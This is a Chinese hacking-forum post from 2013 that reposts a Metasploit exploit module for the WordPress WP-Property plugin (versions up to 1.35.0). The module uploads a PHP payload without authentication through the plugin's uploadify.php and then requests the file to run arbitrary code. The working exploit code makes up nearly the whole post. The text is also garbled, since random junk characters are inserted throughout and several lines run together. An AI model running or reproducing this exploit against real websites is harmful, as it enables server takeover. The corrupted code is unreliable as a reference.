找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2447|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞( O' s, S; L% f( A. h
; }1 i8 o; l& j7 P6 O" ]
## # This file is part of the Metasploit Framework and may be subject to" c7 j8 ?5 Z) k. U. |- `

1 t* d* [. |5 o* C. h# redistribution and commercial restrictions. Please see the Metasploit
1 c( Y  X5 u  e- F. ]) j9 P- o+ B8 l" [9 r- D$ N. Q
# Framework web site for more information on licensing and terms of use.
3 r* g) ^% u/ b( Q: i5 w/ ?0 n* R6 Y3 Q8 v
#   http://metasploit.com/framework/ ##+ V3 ^1 s! _+ Z- i$ Y( t
: ?% `0 E; s5 p$ l
( u6 e- I7 \* |, O7 p1 h  S$ b
% w+ ~' V- G1 e) i

% g* a$ ^7 Z: c$ a1 g4 B: I; |: f# t
require 'msf/core'7 j6 }5 H+ U/ M
require 'msf/core/exploit/php_exe'
; a5 R% V4 w- e3 @' ^
1 g  v) P3 T0 T& ?% l5 W1 nclass Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',
- o2 m3 ]: D7 _% M'Description'    => %q{
. H" z6 r; n) \9 R6 R; qThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>  Z2 ~5 n$ Q2 e: t) n
[
. i7 I' \4 |1 }: X3 w; Z( H'Sammy FORGIT', # initial discovery) R. B# x, w, r/ t) y6 u
'James Fitts <fitts.james[at]gmail.com>' # metasploit module( Q7 \" u3 _$ C7 J( U# j
],
! ~( u) G# o* _; y'License'        => MSF_LICENSE,2 h8 }8 ~" k7 [" A; ^: y. R
'References'     =>: l0 d, k: H! ]6 G3 I( U
[) @* p! }% J- V5 u! o" Q
[ 'OSVDB', '82656' ],
" p+ L* A$ t% Z' W; g6 H, J8 \5 r[ 'BID', '53787' ],
) [- U4 o% ?2 A8 \5 K2 ?[ 'EDB', '18987'],5 Q+ P, i4 A7 z& }& l& M/ N
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
; I3 w& H! j: o! h1 ?],
# o" }6 D: e3 v% I'Payload'        =># m8 D' S2 c: t: c9 ^8 W
{
% J! @( T. D4 a" J  A* r'BadChars' => "\x00",! d( K$ U9 p' O* _( ?4 q# a5 x
},
9 |) K# I# T$ j'Platform'       => 'php',% F' w$ a( b' W+ ?& ~
'Arch'           => ARCH_PHP,
8 J* n3 p1 J) @' e'Targets'        =>
0 i3 S/ K1 U7 n[
8 h( K6 ?0 Y1 K2 ]" ~[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
/ S8 }/ h) q6 W" y! h3 b% Z[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]- q9 u8 M5 s) @3 [% t6 f
],2 b0 s) w- Q  k
'DefaultTarget'  => 0,
3 q" s7 ]5 @2 q) {% [. q'DisclosureDate' => 'Mar 26 2012'))6 y% u6 e2 |8 a
# X9 B# R% }& w3 @
register_options(
" n0 r. I9 ]4 J  E# d3 `' {4 k[' ~6 P0 a$ }  x: `' G
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])* l6 S& t2 D8 M: G* [
], self.class)
" Q4 V; R& ]7 tend
, {! z2 ]0 ?( `% x* Q; ?; R" f) j' }
def check/ i- `! q" y4 ~; H, c6 w( o
uri =  target_uri.path% D) ^2 [% H5 p/ T  C
uri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',1 O* I. y% o! v$ y3 w" m! O5 R
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
' k! a, n8 M% ~6 y1 O; p})
- }2 J2 T+ j5 h9 q; k( ]5 |9 S' Z, ~7 c, [$ q* M$ u
if not res or res.code != 200+ R$ b' o0 c9 B' i$ O
return Exploit::CheckCode::Unknown
/ k# o5 Z5 z7 G8 w% f0 ?) e# F% Lend
% Y  }& y2 t1 a& X( m
1 |- D4 z. [+ t! Z! r* p; m' Mreturn Exploit::CheckCode::Appears
5 r2 b/ N1 h2 ^end$ P9 c3 J8 \. W8 W9 b

& {+ }$ d/ h0 F* |0 y7 W0 Sdef exploit
" Q% D9 g( x/ _& v4 \* juri =  target_uri.path
. @. o- f: b7 N+ E& xuri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)& Q( I; T3 Z4 f
! d( ^! A% ?; D; t& ]
data = Rex::MIME::Message.new
$ }1 |& X$ T$ \) T. P: jdata.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")0 S+ a% Z0 D" F' v& d
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")" h# ~2 p0 J# X
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_'). n* d+ T5 E* f0 z
4 N( k: y$ t: C
print_status("#{peer} - Uploading payload #{@payload_name}")0 }% e, u' K2 h5 i8 n8 c
res = send_request_cgi({1 V7 u: r+ b7 O4 |
'method' => 'POST',
, j) A0 p& ^% V5 n'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
" I5 G/ @1 o" d'ctype'  => "multipart/form-data; boundary=#{data.bound}",' A! |0 U# A! M( r  _2 Q2 z
'data'   => post_data
4 U: {9 x, R1 e) {})/ ^! Y2 m- D. Y" R) b3 b( h) g" F
4 Y5 r( m! W6 k, z% Y/ @
if not res or res.code != 200 or res.body !~ /#{@payload_name}/% O5 G! ?3 B& g
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")4 k% Y( `" I! r  L" f  ~
end
7 J8 x- p: q4 p: i- e- Z& D+ }% C# S8 ?- r+ u( y
upload_uri = res.body
; Q' Z- Z& l: J1 w7 v  M
7 n) d6 {8 E2 Q# oprint_status("#{peer} - Executing payload #{@payload_name}")8 A+ c, e/ ?- B0 D' u( [& `' h1 C
res = send_request_raw({
% h3 X8 |# \: K8 t# K'uri'    => upload_uri,
3 J- X5 ~% [2 I'method' => 'GET'
( D" g- A3 ^' K})
6 n6 J% S8 R  ~2 V* Z$ l* D! D% Bend; n, r3 Z, ]% `6 X! i
end
1 V" ~0 p" ~: \! O8 x2 V  r- c# X- v- }
不要问我这写的是什么 怎么利用 我是说msf.
. T# [7 v  {* \, J3 s( R, ^
. u8 X/ u- Y- w  Y; S8 U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表